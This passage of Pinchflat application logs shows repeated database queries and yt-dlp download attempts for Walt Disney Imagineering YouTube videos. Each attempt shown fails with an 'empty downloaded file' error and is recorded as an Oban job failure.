'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:58:03.005 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 18:58:03.006 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:58:03.006 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:03.006 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:03.007 [debug] Running yt-dlp command for action: get_downloadable_status 18:58:03.007 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:03.007 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:03.008 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:03.008 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3c/59/3c596df873e4f008077e25ec9d7054750c9b97de76c8f5dde7888abe6d5f6d79.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:58:07.910 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/3c/59/3c596df873e4f008077e25ec9d7054750c9b97de76c8f5dde7888abe6d5f6d79.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:58:07.910 [debug] Running yt-dlp command for action: download 18:58:07.911 [debug] QUERY OK source="settings" db=0.2ms idle=1390.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:07.911 [debug] QUERY OK source="settings" db=0.1ms idle=1390.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:07.911 [debug] QUERY OK source="settings" db=0.0ms idle=1391.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:07.912 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/33/da/33da6b94cd54cf892f9ad3e139dab88fb51b172c39c3a8c884380b0046fc14d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:58:19.964 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:49.965 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:52.888 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/33/da/33da6b94cd54cf892f9ad3e139dab88fb51b172c39c3a8c884380b0046fc14d7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 18:58:52.888 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 18:58:52.889 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49885500,"event":"job:exception","queue_time":22356910,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:58:52.896 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774997932896348590,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:58:52.896 [debug] QUERY OK source="media_items" db=0.1ms idle=1375.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 18:58:52.896 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:58:52.897 [debug] QUERY OK source="sources" db=0.1ms idle=1254.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:58:52.897 [debug] QUERY OK source="media_profiles" db=0.1ms idle=252.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:58:52.898 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:58:52.898 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 18:58:52.898 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:58:52.899 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:52.899 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:52.899 [debug] Running yt-dlp command for action: get_downloadable_status 18:58:52.900 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:52.900 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:52.900 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:52.900 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d7/77/d7777c77c9c91271a19ffba5b93479ca667503a44aa10a85899f40a27924d73b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:58:58.008 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d7/77/d7777c77c9c91271a19ffba5b93479ca667503a44aa10a85899f40a27924d73b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 18:58:58.008 [debug] Running yt-dlp command for action: download 18:58:58.009 [debug] QUERY OK source="settings" db=0.1ms idle=1488.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:58.009 [debug] QUERY OK source="settings" db=0.0ms idle=1488.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:58.009 [debug] QUERY OK source="settings" db=0.1ms idle=1488.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:58:58.009 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7b/c2/7bc2c04cb92911ad8dc2cce6357020bce414368747e3fbfbc9379a5f3833ac6b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:59:00.966 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:59:19.967 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:49.969 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:58.309 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7b/c2/7bc2c04cb92911ad8dc2cce6357020bce414368747e3fbfbc9379a5f3833ac6b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 18:59:58.309 [error] yt-dlp download error for media item #12001: "ERROR: The downloaded file is empty\n" 18:59:58.310 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65413267,"event":"job:exception","queue_time":46400127,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:59:58.316 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774997998316217631,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:59:58.316 [debug] QUERY OK source="media_items" db=0.2ms idle=795.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 18:59:58.316 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:59:58.317 [debug] QUERY OK source="sources" db=0.2ms idle=796.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:59:58.317 [debug] QUERY OK source="media_profiles" db=0.1ms idle=566.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:58.318 [debug] QUERY OK source="media_items" db=0.2ms idle=7.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 18:59:58.318 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 18:59:58.318 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:59:58.319 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:58.319 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:58.319 [debug] Running yt-dlp command for action: get_downloadable_status 18:59:58.319 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:58.320 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:58.320 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:59:58.320 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/53/a6/53a6edb43f866b5ac76d463ffbb20c8e9b358807c78563d41b281bfac5a62e88.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:00.967 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:00:03.498 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/53/a6/53a6edb43f866b5ac76d463ffbb20c8e9b358807c78563d41b281bfac5a62e88.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:00:03.498 [debug] Running yt-dlp command for action: download 19:00:03.498 [debug] QUERY OK source="settings" db=0.1ms idle=1977.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:03.498 [debug] QUERY OK source="settings" db=0.0ms idle=1978.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:03.499 [debug] QUERY OK source="settings" db=0.1ms idle=1742.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:00:03.499 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/08/8d/088d226dbfc5bcbb3dc5555124ae9a9551d0acb0935462f80f8dca96a593985a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:00:12.038 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort 